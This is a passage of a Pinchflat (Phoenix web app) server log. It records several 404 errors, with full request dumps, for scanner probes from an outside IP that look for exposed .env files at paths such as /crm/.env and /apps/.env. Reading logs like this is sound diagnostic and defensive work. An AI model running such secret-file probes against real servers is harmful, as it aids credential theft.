s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.321 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.321 [error] #PID<0.3238.0> running PinchflatWeb.Endpoint (connection #PID<0.3237.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /crm/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49616}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3238.0>, params: %{}, path_info: ["crm", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/crm/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hS4NtqaMrMAAOiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49616}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49616}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3238.0>, params: %{}, path_info: ["crm", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.329 [info] GET /local/.env 21:08:40.329 [debug] QUERY OK source="settings" db=0.1ms idle=77.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.329 [debug] QUERY OK source="settings" db=0.1ms idle=37.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.329 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.329 [error] #PID<0.3240.0> running PinchflatWeb.Endpoint (connection #PID<0.3239.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /local/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /local/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3239.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3240.0>, params: %{}, path_info: ["local", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/local/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hVDgVq06oUAAOkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3239.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /local/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3239.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3240.0>, params: %{}, path_info: ["local", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto" (truncated) 21:08:40.389 [info] GET /apps/.env 21:08:40.390 [debug] QUERY OK source="settings" db=0.3ms idle=98.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.391 [debug] QUERY OK source="settings" db=0.3ms idle=69.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.391 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.391 [error] #PID<0.3242.0> running PinchflatWeb.Endpoint (connection #PID<0.3241.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /apps/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3241.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3242.0>, params: %{}, path_info: ["apps", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/apps/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hjgqg_MruoAAOmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3241.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3241.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3242.0>, params: %{}, path_info: ["apps", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.402 [info] GET /application/.env 21:08:40.403 [debug] QUERY OK source="settings" db=0.2ms idle=81.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.403 [debug] QUERY OK source="settings" db=0.4ms idle=73.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.403 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.404 [error] #PID<0.3244.0> running PinchflatWeb.Endpoint (connection #PID<0.3243.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /application/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3244.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/application/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hmgrgMpRBoAAOoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3244.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => 